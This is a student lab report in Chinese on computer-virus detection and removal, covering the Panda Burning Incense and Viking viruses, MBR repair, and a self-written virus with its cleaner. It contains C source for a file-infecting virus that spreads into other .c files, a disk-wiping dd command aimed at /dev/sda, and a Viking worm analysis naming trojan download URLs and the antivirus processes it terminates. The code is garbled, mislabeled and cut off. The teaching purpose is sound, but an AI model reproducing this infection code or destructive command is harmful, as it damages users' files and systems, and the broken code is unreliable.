计算机病毒防护技术实验报告.doc
计算机病毒防护技术实验报告学院: 计算机科学与技术 班级: 20110616 姓名: 曾江东 学号: 2011061624 成绩: 2014年10月实验1 典型病毒的检测1.1 实验名称熊猫烧香病毒的检测1.2 实验目的掌握典型病毒的检测方法,掌握熊猫烧香病毒的检测方法,掌握威金病毒的检测方法。1.3 实验环境微机1台(Windows 9x2000XP操作系统),熊猫烧香病毒样本、威金病毒样本,熊猫烧香病毒专杀工具、威金病毒专杀工具,VMWare虚拟机软件。1.4 实验内容及要求1.4.1 熊猫烧香病毒的检测1、 备好病毒样本先准备一张含有熊猫烧香病毒的软盘或光盘,或带有熊猫烧香病毒的U盘。2、 运行VMWare虚拟机软件。为了整个计算机本身的安全或整个实验室系统的安全,让实验在虚拟的环境下进行,3、 检测干净系统4、 种植熊猫烧香病毒插入含有熊猫烧香病毒的U盘、光盘或者软盘,点击含有熊猫烧香病毒文件夹下的setup.exe文件,这时就将熊猫烧香病毒种植到计算机系统中了。5、 检测中毒后的系统6、 得出实验结论1.3.2 威金病毒的检测1、 备好病毒样本2、 先准备一张含有威金病毒的软盘或光盘,或带有威金病毒的U盘。3、 运行VMWare虚拟机软件。4、 为了整个计算机本身的安全或整个实验室系统的安全,让实验在虚拟的环境下进行,5、 检测干净系统6、 种植威金病毒插入含有威金病毒的U盘、光盘或者软盘,点击含有威金病毒文件夹下的威金文件,这时就将威金病毒种植到计算机系统中了。7、 检测中毒后的系统8、 实验结论1.5 实验设计与实验步骤1. 运行VMWare虚拟机软件。2. 插入含有熊猫烧香病毒的U盘、光盘或者软盘,点击含有熊猫烧香病毒文件夹下的setup.exe文件,这时就将熊猫烧香病毒种植到计算机系统中了。3. 查看磁盘是否有一些exe文件的图标被改成了一个座立的熊猫手里捧着三根香。4. 用熊猫烧香病毒专杀工具检测系统是否中毒。1.6 实验过程与分析通过查看系统磁盘的一些文件,发现一些exe文件确实被改成了熊猫图标,随后利用熊猫烧香病毒专杀工具也检测出系统确实中毒1.7 实验结果总结成功将熊猫烧香病毒植入电脑,并成功检测出来。1.8 心得体会感觉将病毒从虚拟的世界弄了出来。实验2 典型病毒的清除2.1 实验名称熊猫烧香病毒的清除2.2 实验目的掌握典型病毒的清除方法,掌握熊猫烧香病毒的清除方法,掌握威金病毒的检清除方法。2.3 实验环境微机1台(Windows9x2000XP操作系统),熊猫烧香病毒样本、威金病毒样本,熊猫烧香病毒专杀工具、威金病毒专杀工具,VMWare虚拟机软件。2.4 实验内容及要求2.4.1 熊猫烧香病毒的清除(1) 熊猫症状表现为:(1.1) 某些EXE文件的图标被改成一个座立的熊猫手里捧着三根香,因此得名,(1.2) 隐藏文件属性无法修改,即显示所有隐藏文件的勾选去掉也不能显示隐藏文件;(1.3) 双击分区盘符无法打开显示内容,必须通过右键打开才可以打开;如果你的电脑出现以上症状那一定是中着了!可以通过以下手工删除(删除前断开网络)(2) 手工清除:(2.1) 清除病毒第一步:点击“开始-运行”,输入"ntsd -c q -pn spoclsv.exe"并确定,结束病毒的进程。(或进入到文件夹c:windows(Windows2000下为winnt, windowsXP下为windows)system32drivers中修改spoclsv.exe的文件名为其他的.exe文件),之后我们就可以进入到任务管理器和注册表中了。第二步:在注册表中寻找“HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVersionExplorerAdvancedFolderHiddenSHOWALL”,将CheckedValue的值改为1。打开“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCrrentVersionRun”,将svcshare的项目删除。第三步:删除硬盘各分区根目录下的"setup.exe"和"autorun.inf"文件;删除掉C:Windowssystem32drivers下的spoclsv.exe文件。第四步:搜索硬盘上的网页格式文件,找到其中类似”<iframe src=" height="0" frameborder="0"></iframe>“的文字,将其删除。被嵌入的代码可能是其他的网站。(2.2) 显示出被隐藏的系统文件 运行regedit HKEY_LOCAL_MACHINESoftwareMicrosoftwindowsCurrentVersionexplorerAdvancedFolderHiddenSHOWALL,将CheckedValue键值修改为1 这里要注意,病毒会把本来有效的DWORD值CheckedValue删除掉,新建了一个无效的字符串值CheckedValue,并且把键值改为0!我们将这个改为1是毫无作用的。(有部分病毒变种会直接把这个CheckedValue给删掉,只需和下面一样,自己再重新建一个就可以了) 方法:删除此CheckedValue键值,单击右键 新建Dword值命名为CheckedValue,然后修改它的键值为1,这样就可以选择“显示所有隐藏文件”和“显示系统文件”。 在文件夹工具文件夹选项中将系统文件和隐藏文件设置为显示 重启电脑后,发现杀毒软件可以打开,分区盘双击可以打开了。(3) 如何防范”熊猫烧香“病毒第一,该病毒会利用IE,QQ,UC等的漏洞进行传播。所以需要即使安装他们的最新补丁程序。第二,计算机应设置复杂的密码,以防止病毒通过局域网传播。第三,关闭系统的”自动运行“功能,防止病毒通过U盘,移动硬盘等侵入你的电脑。(4) 附:结束进程的方法:调出windows任务管理器(Ctrl+Alt+Del),发现通过简单的右击当前用户名的*.exe来结束进程是行不通的.会弹出该进程为系统进程无法结束的提醒框;鼠标右键点击"任务栏",选择"任务管理器"。点击菜单"查看(V)">"选择列(S).",在弹出的对话框中选择"PID(进程标识符)",并点击"确定"。找到映象名称为"*.exe",并且用户名不是"SYSTEM"的一项,记住其PID号.点击"开始"->“运行”,输入"CMD",点击"确定"打开命令行控制台。输入"ntsd c q -p (PID)",比如我的计算机上就输入"ntsd c q -p 1132".2.4.2 威金病毒的清除病毒名称 “威金(Worm.Viking)” 病毒别名 Virus.Win32.Delf.62976 Kaspersky, W32/HLLP.Philis.j McAfee,W32.Looked symantec Net-Worm.Win32.Zorin.a 病毒型态 Worm (网络蠕虫) 影响平台 Windows 95/98/ME , Windows NT/2000/XP/2003 一、worm.viking 病毒的特点:worm.viking 病毒的行为:该病毒为Windows平台下集成可执行文件感染、网络感染、下载网络木马或其它病毒的复合型病毒,worm.viking 病毒运行后将自身伪装成系统正 常文件,以迷惑用户,通过修改注册表项使病毒开机时可以自动运行,同时worm.viking病毒通过线程注入技术绕过防火墙的监视,连接到病毒作者指定的 网站下载特定的木马或其它病毒,同时病毒运行后枚举内网的所有可用共享,并尝试通过弱口令方式连接感染目标计算机。运行过程过感染用 户机器上的可执行文件,造成用户机器运行速度变慢,破坏用户机器的可执行文件,给用户安全性构成危害。worm.viking 病毒主要通过共享目录、文件捆绑、运行被感染病毒的程序、可带病毒的邮件附件等方式进行传播。 1、worm.viking病毒运行后将自身复制到Windows或相关文件夹下,名为rundl132.exe或者rundll32.exe。2、worm.viking病毒运行后,将病毒体复制到windows目录下为logo_1.exe、vdll.dll及zvdll.exe等文件。4、worm.viking病毒搜索所有可用分区中的大小为27kb-10mb的exe文件及RAR文件并感染,症状就是文件图标被修改,在所有文件夹中生成_desktop.ini 文件(属性:系统、隐藏)。5、worm.viking病毒会尝试修改%SysRoot%system32driversetchosts文件。6、worm.viking病毒通过添加如下注册表项实现病毒开机自动运行: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun "load"="C:WINNTrundl132.exe" HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows "load"="C:WINNTrundl132.exe"7、worm.viking病毒运行时尝试查找窗体名为:"RavMonClass"的程序,查找到窗体后发送消息关闭该程序。8、枚举以下杀毒软件进程名,查找到后终止其进程: Ravmon.exe Eghost.exe Mailmon.exe KAVPFW.EXE IPARMOR.EXE Ravmond.exe9、病毒尝试利用以下命令终止相关杀病毒软件:net stop "Kingsoft AntiVirus Service"10、发送ICMP探测数据"Hello,World",判断网络状态,网络可用时,枚举内网所有共享主机,并尝试用弱口令连接IPC$、admin$等共享目录,连接成功后进行网络感染。11、不感染系统文件夹中的文件,如windows、system、system32、winnt等等。12、枚举系统进程,尝试将病毒dll(vdll.dll)选择性注入Explorer、Iexplore进程。13、当外网可用时,被注入的dll文件尝试连接以下网站下载并运行相关程序:http:/www.17*.com/gua/zt.txt保存为:c:1.txthttp:/www.17*.com/gua/wow.txt保存为:c:1.txthttp:/www.17*.com/gua/mx.txt保存为:c:1.txthttp:/www.17*.com/gua/zt.exe保存为:%SystemRoot%Sy.exehttp:/www.17*.com/gua/wow.exe保存为:%SystemRoot%1Sy.exehttp:/www.17*.com/gua/mx.exe保存为:%SystemRoot%2Sy.exe 注:三个程序都为木马程序 14、修改注册表将启动文件及内容添加到以下相关注册表项:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun目录下的运行rundll32.exe的值。 HKEY_LOCAL_MACHINESOFTWARESoftDownloadWWW"auto"="1" HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows"ver_down0"="boot loader+""ver_down1"="boot loadertimeout=30operating systemsmulti(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft Windows XP Professional" /""ver_down2"="default=multi(0)disk(0)rdisk(0)partition(1)WINDOWSoperating systemsmulti(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft Windows XP Professional" /" 主要症状: 1、占用大量网速,使机器使用变得极慢。 2、会捆绑所有的EXE文件,只要一运用应用程序,在winnt下的logo1.exe图标就会相应变成应用程序图标。 3、有时还会时而不时地弹出一些程序框,有时候应用程序一起动就出错,有时候起动了就被强行退出。 4、阻止以下杀毒软件的运行,包括卡八斯基、金山公司的毒霸、瑞星等98%的杀毒软件运行。 5、访问部分反病毒安全网站时,浏览器就会重定向到66.197.186.149 详细技术信息: 病毒运行后,在%Windir%生成 Logo1_.exe 同时会在windws根目录生成一个名为"virDll.dll"的文件。 该蠕虫会在系统注册表中生成如下键值: HKEY_LOCAL_MACHINESoftwareSoftDownloadWWW "auto" = "1" 病毒感染运行windows操作系统的计算机,并且通过开放的网络资源传播。一旦安装,蠕虫将会感染受感染计算机中的.exe文件。 该蠕虫是一个大小为82K的Windows PE可执行文件。通过本地网络传播。该蠕虫会将自己复制到下面网络资源: ADMIN$ IPC$二、手动清除病毒方法在进程中找到并结束Logo1_.exe、rundl132.exe进程 1. 找到并删除%Windir%下的Logo1_.exe、rundl132.exe、vDll.dll、DLL.DLL文件 (部分文件不一定存在)2. 打开注册表,索引到HKEY_LOCAL_MACHINESoftwareSoftDownloadWWW,删除auto键值 3. 打开注册表,索引到HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWIndows,删除load键值 4. 打开%system%driversetc下hosts文件,删除“127.0.0.1 localhost”一行后所有内容 5. 下载”Worm.Viking专杀工具“,在安全模式下全盘杀毒。 6. 插入系统光盘,重做系统 备注:输入regedit进入系统注册表,查找到HKEY_LOCAL_MACHINESOFTWARE MicrosoftWindowsCurrentVersionRun删除字符串"load"="C:Windows rundl132.exe"查找到HKEY_CURRENT_USERSoftwareMicrosoftWindows NT CurrentVersionWindows删除字符串"load"="C:Windowsrundl132.exe"查找到HKEY_LOCAL_MACHINESOFTWARE删除下面整个soft项,其中包括所带的DownloadWWW。查找到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows删除所有ver_down数字的字符串值。另外一个方法: 第一步、 用同时按下CTRL,ALT,DEL三键打开任务管理器,结束logo1_.exe进程. 第二步、 删除操作系统盘(一般是C盘)winnt目录下的logo1_.exe文件. 可以看出,以上两步是很普通的,大部分人都会,关键是第三步. 第三步、 在操作系统盘(一般是C盘)winnt目录下,创建一个文件夹(记住是文件夹而不是文件),文件夹名为logo1_.exe,并设置该文件夹的属性为只读+隐藏. 这样logo1_.exe病毒再也无法运行了,也就是它的破坏作用(比如降低网速)也消失了.唯一的缺陷就是那些变色的应用程序图标还是依旧.如果你希望应用程序的图标恢复,那么(1)你可以重装系统,记住重装系统后一定要在winnt目录下,创建一个名叫logo1_.exe文件夹并设置该文件夹的属性为只读+隐藏,以防再次感染,使电脑得到免疫.也可以(2)等到能够杀该病毒的软件诞生为止。杀毒原理:创建logo1_.exe文件夹,使无法创建logo1_.exe文件,把文件夹设为只读+隐藏使安全性更高.2.5 实验设计与实验步骤1. 首先点击“开始-运行”,输入"ntsd -c q -pn spoclsv.exe"并确定,结束病毒的进程。(或进入到文件夹c:windows(Windows2000下为winnt, windowsXP下为windows)system32drivers中修改spoclsv.exe的文件名为其他的.exe文件),之后我们就可以进入到任务管理器和注册表中了。2. 在注册表中寻找“HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVersionExplorerAdvancedFolderHiddenSHOWALL”,将CheckedValue的值改为1。打开“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCrrentVersionRun”,将svcshare的项目删除。3. 删除硬盘各分区根目录下的"setup.exe"和"autorun.inf"文件;删除掉C:Windowssystem32drivers下的spoclsv.exe文件。4. 搜索硬盘上的网页格式文件,找到其中类似”<iframe src=" height="0" frameborder="0"></iframe>“的文字,将其删除。被嵌入的代码可能是其他的网站。5. 运行regedit HKEY_LOCAL_MACHINESoftwareMicrosoftwindowsCurrentVersionexplorerAdvancedFolderHiddenSHOWALL,将CheckedValue键值修改为1 这里要注意,病毒会把本来有效的DWORD值CheckedValue删除掉,新建了一个无效的字符串值CheckedValue,并且把键值改为0!我们将这个改为1是毫无作用的。(有部分病毒变种会直接把这个CheckedValue给删掉,只需和下面一样,自己再重新建一个就可以了) 方法:删除此CheckedValue键值,单击右键 新建Dword值命名为CheckedValue,然后修改它的键值为1,这样就可以选择“显示所有隐藏文件”和“显示系统文件”。在文件夹工具文件夹选项中将系统文件和隐藏文件设置为显示 重启电脑后,发现杀毒软件可以打开,分区盘双击可以打开了。2.6 实验过程与分析1. 确保所以中毒文件都删除了。2. 确保所以中毒文件都恢复了。2.7 实验结果总结 成功将电脑内的熊猫烧香病毒都清除干净了,电脑恢复正常使用。2.8 心得体会了解了这样清除电脑内的病毒,而不用因为一点小小的病毒就去检修,浪费我的时间,而可以通过自己的努力将病毒清除干净。实验3 计算机系统修复实验3.1 实验名称计算机系统修复实验3.2 实验目的掌握修复MBR的方法,在Linux下通过先损坏MBR前446字节的数据来验证一下修复MBR的方法。3.3 实验环境微机1台(Windows9x2000XP操作系统),VMWare虚拟机软件。3.4 实验内容及要求破坏与修复mbr。3.5 实验设计与实验步骤1. 破坏MBR数据dd if=/dev/zero of=/dev/sda bs=1 count=4462. 重新启动系统验证系统在MBR损坏的情况下不能正常启动。3. 如果系统不能正常启动了,就说明MBR被损坏了。4. 那么只有进入Linux救援模式下进行MBR修复进入救援模式步骤: a.系统启动按F2(虚拟机下)修改BIOSb.在光盘引导启动界面,键入linux rescue此时你的操作系统是被挂载在/mnt/sysimage下,而不是在跟分区下,所以要执行chroot命令来切换挂载分区e.然后切换根目录运行命令f. 使用以下命令重新安装MBR上引导装载程序的前446字节5. 最后重启系统验证一下MBR是否修复成功。3.6 实验过程与分析1. mbr损坏后,重启后发现系统不能启动了2. 将mbr修复成功后,再次重启电脑,发现系统正常启动。3.7 实验结果总结 成功将崩溃的系统修复成功,使之能正常使用。3.8 心得体会学习了一些Linux系统下的知识。实验4 病毒程序和杀毒程序编程实验4.1 实验名称病毒程序和杀毒程序编程实验4.2 实验目的掌握病毒程序和杀毒程序编程方法,编程实现一个简单的病毒程序,并编写杀毒程序将其杀掉。4.3 实验环境微机一台(Windows9x2000XP7操作系统),编译器 Dev C+4.4 实验内容及要求编写一个病毒,观察其发作现象,编写一个相应的杀毒程序,进行此病毒的检测与查杀。4.5 实验设计与实验步骤1. 运行VIRUS.C程序,系统部分文件中病毒;2. 运行病毒清除程序REVIURS.C,病毒被清除成功,系统恢复正常。4.6 实验过程与分析运行病毒程序后,通过查看系统文件,发现确实出现了病毒,说明病毒种植成功。接下来就是病毒的清除了。运行杀毒程序,重启电脑,查看系统文件,发现病毒都被清除干净。 4.7 实验结果总结成功实现了病毒程序的运行将病毒种植入电脑内,然后通过运行杀毒程序将种植的病毒清除干净。4.8 心得体会学会了简单病毒程序的编写以及其相应的杀毒程序的编写。源码病毒清除程序REVIURS.C/*INFECTED*/ #include "stdio.h"#include "dos.h" #include "dir.h" main() viruses(); int viruses_sub() struct ffblk ffblk; int done,i,j,k,n_line; FILE *virus_r,*virus_v; /*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/ char a50080,b80,*p1,*p2; /*将被传染的文件读入a50080临时存放*/ static char viruses_f="virus.c"/*文件被传染后,修改该值为自身文件名*/ int include_write; int virus_call=0; int virus_start=0; char *main_flag="printf","break","for","while" char *include_h="dos.h","stdio.h","dir.h" char *v_flag="INFECTED" struct date today; /*VIRUSES DISPLAY*/ getdate(&today); /*病毒显示日期信息*/ printf("Today is %d/%d/%dn",today.da_mon,today.da_day,today.da_year); /*AFFECT VIRUSES*/ done=findfirst("*.c",&ffblk,0); /*查找第一个匹配文件*/ while(!done) if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0) virus_r=fopen(ffblk.ff_name,"r+w"); if(virus_r!=NULL) p1=fgets(&a00,80,virus_r); if(strstr(p1,v_flag0)=NULL) n_line=0; /*把文件全部读入a50080*/ while(p1!=NULL) n_line+; p1=fgets(&an_line0,80,virus_r); if(n_line>=500) fclose(virus_r); return(1); fseek(virus_r,0,SEEK_SET); virus_v=fopen(&viruses_f0,"r"); /*打开带病毒的文件*/ if(virus_v=NULL) fclose(virus_r); return(2); for(i=1;i<5;i+) /*读带病毒文件前4行并写入将被传染的文件*/ p2=fgets(b,80,virus_v); if(p2=NULL) fclose(virus_r); fclose(virus_v); return(3); fputs(b,virus_r); for(j=0;j<n_line;j+) /*把将被传染文件的原程序写回原文件*/ include_write=1;/*不写入病毒文件已有的包含语句*/ if(strstr(&aj0,"#include")!=NULL) for(i=0;i<3;i+) if(strstr(&aj0,include_hi)!=NULL) include_write=-1; if(virus_call=0) /*插入调用语句,并加上回车换行*/ for(i=0;i<4;i+) if(strstr(&aj0,main_flagi)!=NULL) for(k=0;k<80;k+) bk=0; strcpy(&b0,"viruses();"); b10=13; b11=10; fputs(b,virus_r);virus_call=1; i=4; if(include_write=1)fputs(&aj0,virus_r); p1=fgets(b,80,virus_v); /*把病毒子程序写入文件*/ while(p1!=NULL) if(virus_start=0) /*找病毒子程序的第一条语句*/ if(strstr(p1,"int viruses_sub()")!=NULL) virus_start=1; if(virus_start=1) if(strstr(p1,"char")!=NULL) if(strstr(p1,"viruses_f=")!=NULL) strcpy(&b29,ffblk.ff_name); i=strlen(&b0); bi=34; strcpy(&bi+1,");"); bi+3=13; bi+4=10; fputs(b,virus_r); p1=fgets(b,80,virus_v); fclose(virus_v); fclose(virus_r); return(0); fclose(virus_r); done=findnext(&ffblk); return(4); viruses() int num; num=viruses_sub(); switch (num) case 0 : printf("successfuln"); break; case 1: printf("the file is outof linen"); break; case 2 : printf("the viruses file cannot openn"); break; case 3 : printf("cannot read viruses filen"); break; case 4: printf("cannot find filen"); getch(); 杀毒程序REVIURS.C#include "stdio.h" #include "dos.h" #include "dir.h" main() struct ffblk ffblk; int done,i,j,line,k; static int n_line; FILE *virus_r,*virus_v; char a50080,b80,*p;char *v_flag="INFECTED" done=findfirst("*.c",&ffblk,0); while(!done) if(strcmp(ffblk.ff_name,"VIRUS.C")!=0) for(k=0;k<500;k+) for(j=0;j<80;j+) ak